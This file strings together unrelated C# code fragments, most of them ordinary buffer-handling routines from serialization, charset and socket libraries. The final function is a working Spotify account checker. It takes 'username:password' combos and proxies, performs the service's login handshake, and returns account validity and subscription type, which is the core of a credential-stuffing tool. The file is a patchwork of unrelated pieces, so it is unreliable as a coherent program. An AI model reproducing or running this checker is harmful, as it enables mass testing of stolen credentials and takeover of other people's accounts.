private static void PutColor(java.nio.ByteBuffer buffer, ref Color color) { buffer.put((sbyte)color.R); buffer.put((sbyte)color.G); buffer.put((sbyte)color.B); buffer.put((sbyte)color.A); }
public override int setupRequest(Common.FastRand rng, CatRankSchema.SearchResultList.Builder request) { int count = rng.nextLessThan(1000); int goodCount = 0; StructList.Builder <CatRankSchema.SearchResult.Builder> list = request.InitResults(count); for (int i = 0; i < list.Length; ++i) { CatRankSchema.SearchResult.Builder result = list.Get(i); result.SetScore(1000.0 - (double)i); int urlSize = rng.nextLessThan(100); int urlPrefixLength = URL_PREFIX.Length; Text.Builder url = result.InitUrl(urlSize + urlPrefixLength); java.nio.ByteBuffer bytes = url.asByteBuffer(); bytes.put(URL_PREFIX.asByteBuffer()); for (int j = 0; j < urlSize; j++) { bytes.put(unchecked ((byte)(97 + rng.nextLessThan(26)))); } bool isCat = rng.nextLessThan(8) == 0; bool isDog = rng.nextLessThan(8) == 0; if (isCat && !isDog) { goodCount += 1; } System.Text.StringBuilder snippet = new System.Text.StringBuilder(" "); int prefix = rng.nextLessThan(20); for (int j = 0; j < prefix; ++j) { snippet.Append(Common.WORDS[rng.nextLessThan(Common.WORDS.Length)]); } if (isCat) { snippet.Append("cat "); } if (isDog) { snippet.Append("dog "); } int suffix = rng.nextLessThan(20); for (int j = 0; j < suffix; ++j) { snippet.Append(Common.WORDS[rng.nextLessThan(Common.WORDS.Length)]); } result.SetSnippet(snippet.ToString()); } return(goodCount); }
/// <summary> /// Copys the elements of a char buffer to a byte buffer /// Concurency: access must be externally synchronized /// </summary> /// <param name="src"/> /// <param name="dest"/> /// <returns>dest for easy invocation chaining</returns> public static java.nio.ByteBuffer copy(java.nio.CharBuffer src, java.nio.ByteBuffer dest) { int length = src.Length; int i; for (i = 0; i < length; i++) { dest.put(i, unchecked ((byte)src.get(i))); } for (; i < dest.limit(); i++) { dest.put(i, unchecked ((byte)0)); } return(dest); }
/// <exception cref="System.IO.IOException"/> public int Read(java.nio.ByteBuffer dst) { int numBytes = dst.remaining(); if (numBytes < this.buf.remaining()) { //# Serve from the current buffer. java.nio.ByteBuffer slice = this.buf.slice(); slice.limit(numBytes); dst.put(slice); this.buf.position(this.buf.position() + numBytes); return(numBytes); } else { //# Copy current available into destination. int fromFirstBuffer = this.buf.remaining(); { java.nio.ByteBuffer slice = this.buf.slice(); slice.limit(fromFirstBuffer); dst.put(slice); } numBytes -= fromFirstBuffer; if (numBytes <= this.buf.capacity()) { //# Read the next buffer-full. this.buf.clear(); int n = readAtLeast(this.inner, this.buf, numBytes); this.buf.rewind(); java.nio.ByteBuffer slice = this.buf.slice(); slice.limit(numBytes); dst.put(slice); this.buf.limit(n); this.buf.position(numBytes); return(fromFirstBuffer + numBytes); } else { //# Forward large read to the underlying stream. this.buf.clear(); this.buf.limit(0); return(fromFirstBuffer + readAtLeast(this.inner, dst, numBytes)); } } }
public static long write(object nd, FileDescriptor fd, ByteBuffer[] bufs, int offset, int length) { #if FIRST_PASS return(0); #else ByteBuffer[] altBufs = null; List <ArraySegment <byte> > list = new List <ArraySegment <byte> >(length); for (int i = 0; i < length; i++) { ByteBuffer bb = bufs[i + offset]; if (!bb.hasArray()) { if (altBufs == null) { altBufs = new ByteBuffer[bufs.Length]; } ByteBuffer abb = ByteBuffer.allocate(bb.remaining()); int pos = bb.position(); abb.put(bb); bb.position(pos); abb.flip(); bb = altBufs[i + offset] = abb; } list.Add(new ArraySegment <byte>(bb.array(), bb.arrayOffset() + bb.position(), bb.remaining())); } int count; try { count = fd.getSocket().Send(list); } catch (System.Net.Sockets.SocketException x) { if (x.ErrorCode == global::java.net.SocketUtil.WSAEWOULDBLOCK) { count = 0; } else { throw global::java.net.SocketUtil.convertSocketExceptionToIOException(x); } } catch (ObjectDisposedException) { throw new global::java.net.SocketException("Socket is closed"); } int total = count; for (int i = 0; total > 0 && i < length; i++) { ByteBuffer bb = bufs[i + offset]; int consumed = Math.Min(total, bb.remaining()); bb.position(bb.position() + consumed); total -= consumed; } return(count); #endif }
/// <summary> /// Copies a string to ByteBuffer, if byteBuffer overflows then not all of string /// is copied /// </summary> /// <param name="string"/> /// <param name="byteBuffer">destination buffer is duplicated first so that position is not list /// </param> /// <returns>new byteBuffer</returns> public static java.nio.ByteBuffer copy(string @string, java.nio.ByteBuffer byteBuffer ) { java.nio.ByteBuffer dupe = byteBuffer.duplicate(); for (int i = 0; i < @string.Length && dupe.hasRemaining(); i++) { dupe.put(unchecked ((byte)@string[i])); } return(dupe); }
// allocate more spaces to the given ByteBuffer private java.nio.ByteBuffer allocateMore(java.nio.ByteBuffer output) { if (output.capacity() == 0) { return(java.nio.ByteBuffer.allocate(1)); } java.nio.ByteBuffer result = java.nio.ByteBuffer.allocate(output.capacity() * 2); output.flip(); result.put(output); return(result); }
/// <summary> /// Resizes the internal buffer, preserving contents if the new size is at least /// as big as the existing present size /// </summary> /// <param name="newSize"> /// number of doubles to hold /// TODO: This moves the backing buffer, if there are any views into /// this matrix then they will no longer point to this matrix and the /// coupling will be lost. Solution: Views should register themselves as /// listeners to buffer changes, e.g. BufferResizeListener /// CAUTION: This function uses a direct memory copy, so this means for /// row-major matrices the number of columns cannot change and vice /// versa. /// </param> protected internal virtual void resizeBuffer(int prevSize, int newSize) { java.nio.ByteBuffer newBuffer = fastmath.BufferUtils.newNativeBuffer(newSize * fastmath.matfile.MiDouble .BYTES); newBuffer.mark(); if (buffer != null) { newBuffer.put(buffer); } newBuffer.reset(); buffer = newBuffer; }
public static void BlockCopy(ByteBuffer src, int srcPos, ByteBuffer dst, int dstPos, int length) { if (src.hasArray() && dst.hasArray()) { java.lang.System.arraycopy(src.array(), src.arrayOffset() + srcPos, dst.array(), dst.arrayOffset() + dstPos, length); } else { if (src.limit() - srcPos < length || dst.limit() - dstPos < length) { throw new java.lang.IndexOutOfBoundsException(); } for (int i = 0; i < length; i++) { // TODO: ByteBuffer.put is polymorphic, and might be slow here dst.put(dstPos++, src.get(srcPos++)); } } }
/// <exception cref="System.IO.IOException"/> public int Read(java.nio.ByteBuffer outBuf) { if (outBuf.buffer == null) { outBuf.buffer = new byte[outBuf.remaining()]; } int len = outBuf.remaining(); if (len == 0) { return(0); } if (len % 8 != 0) { throw new System.Exception("PackedInputStream reads must be word-aligned"); } int outPtr = outBuf.position(); int outEnd = outPtr + len; java.nio.ByteBuffer inBuf = this.inner.GetReadBuffer(); while (true) { byte tag = 0; if (inBuf.remaining() < 10) { if (outBuf.remaining() == 0) { return(len); } if (inBuf.remaining() == 0) { inBuf = this.inner.GetReadBuffer(); continue; } //# We have at least 1, but not 10, bytes available. We need to read //# slowly, doing a bounds check on each byte. tag = inBuf.get(); for (int i = 0; i < 8; ++i) { if ((tag & (1 << i)) != 0) { if (inBuf.remaining() == 0) { inBuf = this.inner.GetReadBuffer(); } outBuf.put(inBuf.get()); } else { outBuf.put((byte)0); } } if (inBuf.remaining() == 0 && (tag == 0 || tag == 0xff)) { inBuf = this.inner.GetReadBuffer(); } } else { tag = inBuf.get(); for (int n = 0; n < 8; ++n) { bool isNonzero = (tag & (1 << n)) != 0; outBuf.put(unchecked ((byte)(inBuf.get() & (isNonzero? -1 : 0)))); inBuf.position(inBuf.position() + (isNonzero? 0 : -1)); } } if (tag == 0) { if (inBuf.remaining() == 0) { throw new System.Exception("Should always have non-empty buffer here."); } int runLength = (unchecked ((int)(0xff)) & (int)inBuf.get()) * 8; if (runLength > outEnd - outPtr) { throw new System.Exception("Packed input did not end cleanly on a segment boundary"); } for (int i = 0; i < runLength; ++i) { outBuf.put((byte)0); } } else if (tag == 0xff) { int runLength = (unchecked ((int)(0xff)) & (int)inBuf.get()) * 8; if (inBuf.remaining() >= runLength) { //# Fast path. java.nio.ByteBuffer slice = inBuf.slice(); slice.limit(runLength); outBuf.put(slice); inBuf.position(inBuf.position() + runLength); } else { //# Copy over the first buffer, then do one big read for the rest. runLength -= inBuf.remaining(); outBuf.put(inBuf); java.nio.ByteBuffer slice = outBuf.slice(); slice.limit(runLength); this.inner.Read(slice); outBuf.position(outBuf.position() + runLength); if (outBuf.remaining() == 0) { return(len); } inBuf = this.inner.GetReadBuffer(); continue; } } if (outBuf.remaining() == 0) { return(len); } } }
/// <summary> /// Encodes characters starting at the current position of the given input /// buffer, and writes the equivalent byte sequence into the given output /// buffer from its current position. /// </summary> /// <remarks> /// Encodes characters starting at the current position of the given input /// buffer, and writes the equivalent byte sequence into the given output /// buffer from its current position. /// <p> /// The buffers' position will be changed with the reading and writing /// operation, but their limits and marks will be kept intact. /// <p> /// A <code>CoderResult</code> instance will be returned according to /// following rules: /// <ul> /// <li>A /// <see cref="CoderResult.malformedForLength(int)">malformed input</see> /// result /// indicates that some malformed input error was encountered, and the /// erroneous characters start at the input buffer's position and their /// number can be got by result's /// <see cref="CoderResult.length()">length</see> /// . This /// kind of result can be returned only if the malformed action is /// <see cref="CodingErrorAction.REPORT">CodingErrorAction.REPORT</see> /// .</li> /// <li> /// <see cref="CoderResult.UNDERFLOW">CoderResult.UNDERFLOW</see> /// indicates that /// as many characters as possible in the input buffer have been encoded. If /// there is no further input and no characters left in the input buffer then /// this task is complete. If this is not the case then the client should /// call this method again supplying some more input characters.</li> /// <li> /// <see cref="CoderResult.OVERFLOW">CoderResult.OVERFLOW</see> /// indicates that the /// output buffer has been filled, while there are still some characters /// remaining in the input buffer. This method should be invoked again with a /// non-full output buffer.</li> /// <li>A /// <see cref="CoderResult.unmappableForLength(int)">unmappable character</see> /// result indicates that some unmappable character error was encountered, /// and the erroneous characters start at the input buffer's position and /// their number can be got by result's /// <see cref="CoderResult.length()">length</see> /// . /// This kind of result can be returned only on /// <see cref="CodingErrorAction.REPORT">CodingErrorAction.REPORT</see> /// .</li> /// </ul> /// <p> /// The <code>endOfInput</code> parameter indicates if the invoker can /// provider further input. This parameter is true if and only if the /// characters in the current input buffer are all inputs for this encoding /// operation. Note that it is common and won't cause an error if the invoker /// sets false and then has no more input available, while it may cause an /// error if the invoker always sets true in several consecutive invocations. /// This would make the remaining input to be treated as malformed input. /// input. /// <p> /// This method invokes the /// <see cref="encodeLoop(java.nio.CharBuffer, java.nio.ByteBuffer)">encodeLoop</see> /// method to /// implement the basic encode logic for a specific charset. /// </remarks> /// <param name="in">the input buffer.</param> /// <param name="out">the output buffer.</param> /// <param name="endOfInput">true if all the input characters have been provided.</param> /// <returns>a <code>CoderResult</code> instance indicating the result.</returns> /// <exception cref="System.InvalidOperationException"> /// if the encoding operation has already started or no more /// input is needed in this encoding process. /// </exception> /// <exception cref="CoderMalfunctionError"> /// If the /// <see cref="encodeLoop(java.nio.CharBuffer, java.nio.ByteBuffer)">encodeLoop</see> /// method threw an <code>BufferUnderflowException</code> or /// <code>BufferUnderflowException</code>. /// </exception> public java.nio.charset.CoderResult encode(java.nio.CharBuffer @in, java.nio.ByteBuffer @out, bool endOfInput) { // If the previous step is encode(CharBuffer), then no more input is needed // thus endOfInput should not be false if (status == READY && finished && !endOfInput) { throw new System.InvalidOperationException(); } if ((status == FLUSH) || (!endOfInput && status == END)) { throw new System.InvalidOperationException(); } java.nio.charset.CoderResult result; while (true) { try { result = encodeLoop(@in, @out); } catch (java.nio.BufferOverflowException e) { throw new java.nio.charset.CoderMalfunctionError(e); } catch (java.nio.BufferUnderflowException e) { throw new java.nio.charset.CoderMalfunctionError(e); } if (result == java.nio.charset.CoderResult.UNDERFLOW) { status = endOfInput ? END : ONGOING; if (endOfInput) { int remaining = @in.remaining(); if (remaining > 0) { result = java.nio.charset.CoderResult.malformedForLength(remaining); } else { return(result); } } else { return(result); } } else { if (result == java.nio.charset.CoderResult.OVERFLOW) { status = endOfInput ? END : ONGOING; return(result); } } java.nio.charset.CodingErrorAction action = _malformedInputAction; if (result.isUnmappable()) { action = _unmappableCharacterAction; } // If the action is IGNORE or REPLACE, we should continue // encoding. if (action == java.nio.charset.CodingErrorAction.REPLACE) { if (@out.remaining() < replacementBytes.Length) { return(java.nio.charset.CoderResult.OVERFLOW); } @out.put(replacementBytes); } else { if (action != java.nio.charset.CodingErrorAction.IGNORE) { return(result); } } @in.position(@in.position() + result.length()); } }
/// <exception cref="System.IO.IOException"/> public int Write(java.nio.ByteBuffer inBuf) { int length = inBuf.remaining(); java.nio.ByteBuffer @out = this.inner.GetWriteBuffer(); java.nio.ByteBuffer slowBuffer = java.nio.ByteBuffer.allocate(20); int inPtr = inBuf.position(); int inEnd = inPtr + length; while (inPtr < inEnd) { if (@out.remaining() < 10) { //# Oops, we're out of space. We need at least 10 //# bytes for the fast path, since we don't //# bounds-check on every byte. if (@out == slowBuffer) { int oldLimit = @out.limit(); @out.limit(@out.position()); @out.rewind(); this.inner.Write(@out); @out.limit(oldLimit); } @out = slowBuffer; @out.rewind(); } int tagPos = @out.position(); @out.position(tagPos + 1); byte curByte; curByte = inBuf.get(inPtr); byte bit0 = (curByte != 0)? unchecked ((byte)1) : unchecked ((byte)0); @out.put(curByte); @out.position(@out.position() + bit0 - 1); inPtr += 1; curByte = inBuf.get(inPtr); byte bit1 = (curByte != 0)? unchecked ((byte)1) : unchecked ((byte)0); @out.put(curByte); @out.position(@out.position() + bit1 - 1); inPtr += 1; curByte = inBuf.get(inPtr); byte bit2 = (curByte != 0)? unchecked ((byte)1) : unchecked ((byte)0); @out.put(curByte); @out.position(@out.position() + bit2 - 1); inPtr += 1; curByte = inBuf.get(inPtr); byte bit3 = (curByte != 0)? unchecked ((byte)1) : unchecked ((byte)0); @out.put(curByte); @out.position(@out.position() + bit3 - 1); inPtr += 1; curByte = inBuf.get(inPtr); byte bit4 = (curByte != 0)? unchecked ((byte)1) : unchecked ((byte)0); @out.put(curByte); @out.position(@out.position() + bit4 - 1); inPtr += 1; curByte = inBuf.get(inPtr); byte bit5 = (curByte != 0)? unchecked ((byte)1) : unchecked ((byte)0); @out.put(curByte); @out.position(@out.position() + bit5 - 1); inPtr += 1; curByte = inBuf.get(inPtr); byte bit6 = (curByte != 0)? unchecked ((byte)1) : unchecked ((byte)0); @out.put(curByte); @out.position(@out.position() + bit6 - 1); inPtr += 1; curByte = inBuf.get(inPtr); byte bit7 = (curByte != 0)? unchecked ((byte)1) : unchecked ((byte)0); @out.put(curByte); @out.position(@out.position() + bit7 - 1); inPtr += 1; byte tag = unchecked ((byte)((bit0 << 0) | (bit1 << 1) | (bit2 << 2) | (bit3 << 3) | (bit4 << 4) | (bit5 << 5) | (bit6 << 6) | (bit7 << 7))); @out.put(tagPos, tag); if (tag == 0) { //# An all-zero word is followed by a count of //# consecutive zero words (not including the first //# one). int runStart = inPtr; int limit = inEnd; if (limit - inPtr > 255 * 8) { limit = inPtr + 255 * 8; } while (inPtr < limit && inBuf.getLong(inPtr) == 0) { inPtr += 8; } @out.put(unchecked ((byte)((inPtr - runStart) / 8))); } else if (tag == unchecked ((byte)unchecked ((int)(0xff)))) { //# An all-nonzero word is followed by a count of //# consecutive uncompressed words, followed by the //# uncompressed words themselves. //# Count the number of consecutive words in the input //# which have no more than a single zero-byte. We look //# for at least two zeros because that's the point //# where our compression scheme becomes a net win. int runStart = inPtr; int limit = inEnd; if (limit - inPtr > 255 * 8) { limit = inPtr + 255 * 8; } while (inPtr < limit) { byte c = 0; for (int ii = 0; ii < 8; ++ii) { c += (inBuf.get(inPtr) == 0 ? (byte)1 : (byte)0); inPtr += 1; } if (c >= 2) { //# Un-read the word with multiple zeros, since //# we'll want to compress that one. inPtr -= 8; break; } } int count = inPtr - runStart; @out.put(unchecked ((byte)(count / 8))); if (count <= @out.remaining()) { //# There's enough space to memcpy. inBuf.position(runStart); java.nio.ByteBuffer slice = inBuf.slice(); slice.limit(count); @out.put(slice); } else { //# Input overruns the output buffer. We'll give it //# to the output stream in one chunk and let it //# decide what to do. if (@out == slowBuffer) { int oldLimit = @out.limit(); @out.limit(@out.position()); @out.rewind(); this.inner.Write(@out); @out.limit(oldLimit); } inBuf.position(runStart); java.nio.ByteBuffer slice = inBuf.slice(); slice.limit(count); while (slice.hasRemaining()) { this.inner.Write(slice); } @out = this.inner.GetWriteBuffer(); } } } if (@out == slowBuffer) { @out.limit(@out.position()); @out.rewind(); this.inner.Write(@out); } inBuf.position(inPtr); return(length); }
public static string check(string proxy, string combo) { try { HttpRequest vlient = new HttpRequest(); JArray lol = JArray.Parse( JObject.Parse(vlient.Get("http://apresolve.spotify.com/?type=accesspoint").ToString())[ "accesspoint"].ToString()); TcpClient clinet = null; Random random = new Random(); string host = lol[random.Next(0, lol.Count)].ToString(); if (proxy == "null") { clinet = new TcpClient(host.Split(':')[0], int.Parse(host.Split(':')[1])); } else { clinet = ProxyTcpClient(host.Split(':')[0], int.Parse(host.Split(':')[1]), proxy.Split(':')[0], int.Parse(proxy.Split(':')[1])); } //clinet = new TcpClient(host.Split(':')[0], int.Parse(host.Split(':')[1])); if (clinet == null) { return("error"); } clinet.ReceiveTimeout = 4000; clinet.SendTimeout = 4000; com.JB.crypto.DiffieHellman keys = new com.JB.crypto.DiffieHellman(new java.util.Random()); byte[] clientHello = com.JB.core.Session.clientHello(keys); Accumulator acc = new Accumulator(); var a = clinet.GetStream(); a.WriteByte(0x00); a.WriteByte(0x04); a.WriteByte(0x00); a.WriteByte(0x00); a.WriteByte(0x00); a.Flush(); int lenght = 2 + 4 + clientHello.Length; byte[] bytes = BitConverter.GetBytes(lenght); a.WriteByte(bytes[0]); a.Write(clientHello, 0, clientHello.Length); a.Flush(); Byte[] buffer = new byte[1000]; int len = int.Parse(a.Read(buffer, 0, buffer.Length).ToString()); byte[] tmp = new byte[len]; Array.Copy(buffer, tmp, len); tmp = tmp.Skip(4).ToArray(); acc.writeByte(0x00); acc.writeByte(0x04); acc.writeInt(lenght); acc.write(clientHello); acc.writeInt(len); acc.write(tmp); acc.dump(); com.spotify.Keyexchange.APResponseMessage apResponseMessage = com.spotify.Keyexchange.APResponseMessage.parseFrom(tmp); byte[] sharedKey = com.JB.common.Utils.toByteArray(keys.computeSharedKey(apResponseMessage .getChallenge().getLoginCryptoChallenge().getDiffieHellman().getGs().toByteArray())); java.security.KeyFactory factory = java.security.KeyFactory.getInstance("RSA"); java.security.PublicKey publicKey = factory.generatePublic( new java.security.spec.RSAPublicKeySpec(new java.math.BigInteger(1, serverKey), java.math.BigInteger.valueOf(65537))); java.security.Signature sig = java.security.Signature.getInstance("SHA1withRSA"); sig.initVerify(publicKey); sig.update(apResponseMessage.getChallenge().getLoginCryptoChallenge().getDiffieHellman().getGs() .toByteArray()); sig.verify(apResponseMessage.getChallenge().getLoginCryptoChallenge().getDiffieHellman() .getGsSignature().toByteArray()); java.io.ByteArrayOutputStream data = new java.io.ByteArrayOutputStream(100); javax.crypto.Mac mac = javax.crypto.Mac.getInstance("HmacSHA1"); mac.init(new javax.crypto.spec.SecretKeySpec(sharedKey, "HmacSHA1")); for (int i = 1; i < 6; i++) { mac.update(acc.array()); mac.update(new byte[] { (byte)i }); data.write(mac.doFinal()); mac.reset(); } byte[] dataArray = data.toByteArray(); mac = javax.crypto.Mac.getInstance("HmacSHA1"); mac.init(new javax.crypto.spec.SecretKeySpec(java.util.Arrays.copyOfRange(dataArray, 0, 0x14), "HmacSHA1")); mac.update(acc.array()); byte[] challenge = mac.doFinal(); com.spotify.Keyexchange.ClientResponsePlaintext clientResponsePlaintext = com.spotify.Keyexchange .ClientResponsePlaintext.newBuilder() .setLoginCryptoResponse(com.spotify.Keyexchange.LoginCryptoResponseUnion.newBuilder() .setDiffieHellman(com.spotify.Keyexchange.LoginCryptoDiffieHellmanResponse.newBuilder() .setHmac(com.google.protobuf.ByteString.copyFrom(challenge)).build()) .build()) .setPowResponse(com.spotify.Keyexchange.PoWResponseUnion.newBuilder().build()) .setCryptoResponse(com.spotify.Keyexchange.CryptoResponseUnion.newBuilder().build()) .build(); byte[] clientResponsePlaintextBytes = clientResponsePlaintext.toByteArray(); len = 4 + clientResponsePlaintextBytes.Length; a.WriteByte(0x00); a.WriteByte(0x00); a.WriteByte(0x00); byte[] bytesb = BitConverter.GetBytes(len); a.WriteByte(bytesb[0]); a.Write(clientResponsePlaintextBytes, 0, clientResponsePlaintextBytes.Length); a.Flush(); com.spotify.Authentication.LoginCredentials loginCredentials = com.spotify.Authentication .LoginCredentials.newBuilder() .setUsername(combo.Split(':')[0]) .setTyp(com.spotify.Authentication.AuthenticationType.AUTHENTICATION_USER_PASS) .setAuthData(com.google.protobuf.ByteString.copyFromUtf8(combo.Split(':')[1])) .build(); com.spotify.Authentication.ClientResponseEncrypted clientResponseEncrypted = com.spotify.Authentication .ClientResponseEncrypted.newBuilder() .setLoginCredentials(loginCredentials) .setSystemInfo(com.spotify.Authentication.SystemInfo.newBuilder() .setOs(com.spotify.Authentication.Os.OS_UNKNOWN) .setCpuFamily(com.spotify.Authentication.CpuFamily.CPU_UNKNOWN) .setSystemInformationString(com.JB.Version.systemInfoString()) .setDeviceId(com.JB.common.Utils.randomHexString(new java.util.Random(), 30)) .build()) .setVersionString(com.JB.Version.versionString()) .build(); com.JB.crypto.Shannon sendCipher = new com.JB.crypto.Shannon(); sendCipher.key(java.util.Arrays.copyOfRange(data.toByteArray(), 0x14, 0x34)); AtomicInteger sendNonce = new AtomicInteger(0); com.JB.crypto.Shannon recvCipher = new com.JB.crypto.Shannon(); recvCipher.key(java.util.Arrays.copyOfRange(data.toByteArray(), 0x34, 0x54)); AtomicInteger recvNonce = new AtomicInteger(0); sendCipher.nonce(com.JB.common.Utils.toByteArray(sendNonce.getAndIncrement())); java.nio.ByteBuffer buffer2 = java.nio.ByteBuffer.allocate(1 + 2 + clientResponseEncrypted.toByteArray().Length); buffer2.put(com.JB.crypto.Packet.Type.Login.val) .putShort((short)clientResponseEncrypted.toByteArray().Length) .put(clientResponseEncrypted.toByteArray()); byte[] bytess = buffer2.array(); sendCipher.encrypt(bytess); byte[] macc = new byte[4]; sendCipher.finish(macc); a.Write(bytess, 0, bytess.Length); a.Write(macc, 0, macc.Length); a.Flush(); recvCipher.nonce(com.JB.common.Utils.toByteArray(recvNonce.getAndIncrement())); byte[] headerBytes = new byte[3]; a.Read(headerBytes, 0, 3); recvCipher.decrypt(headerBytes); short payloadLength = (short)((headerBytes[1] << 8) | (headerBytes[2] & 0xFF)); byte[] payloadBytes = new byte[payloadLength]; a.Read(payloadBytes, 0, payloadBytes.Length); recvCipher.decrypt(payloadBytes); byte[] maccc = new byte[4]; a.Read(maccc, 0, maccc.Length); if (headerBytes[0] == 172) { com.spotify.Authentication.APWelcome apWelcome = com.spotify.Authentication.APWelcome.parseFrom(payloadBytes); int i = 0; string lel = ""; string lel2 = ""; while (true) { recvCipher.nonce(com.JB.common.Utils.toByteArray(recvNonce.getAndIncrement())); headerBytes = new byte[3]; a.Read(headerBytes, 0, 3); recvCipher.decrypt(headerBytes); payloadLength = (short)((headerBytes[1] << 8) | (headerBytes[2] & 0xFF)); payloadBytes = new byte[payloadLength]; a.Read(payloadBytes, 0, payloadBytes.Length); Thread.Sleep(10); recvCipher.decrypt(payloadBytes); maccc = new byte[4]; a.Read(maccc, 0, maccc.Length); //File.WriteAllBytes(headerBytes[0]+".txt",payloadBytes); if (headerBytes[0] == 27) { System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding(); lel2 = enc.GetString(payloadBytes); i++; } if (headerBytes[0] == 80) { Console.WriteLine(com.JB.core.Session.parse(payloadBytes).get("financial-product").ToString()); lel = com.JB.core.Session.parse(payloadBytes).get("financial-product").ToString(); i++; } if (i >= 2) { return(lel + "-lol-" + apWelcome + "-lol-" + lel2); } } } else if (headerBytes[0] == 173) { return("invalid"); } } catch (Exception ex) { return("error"); } return("error"); }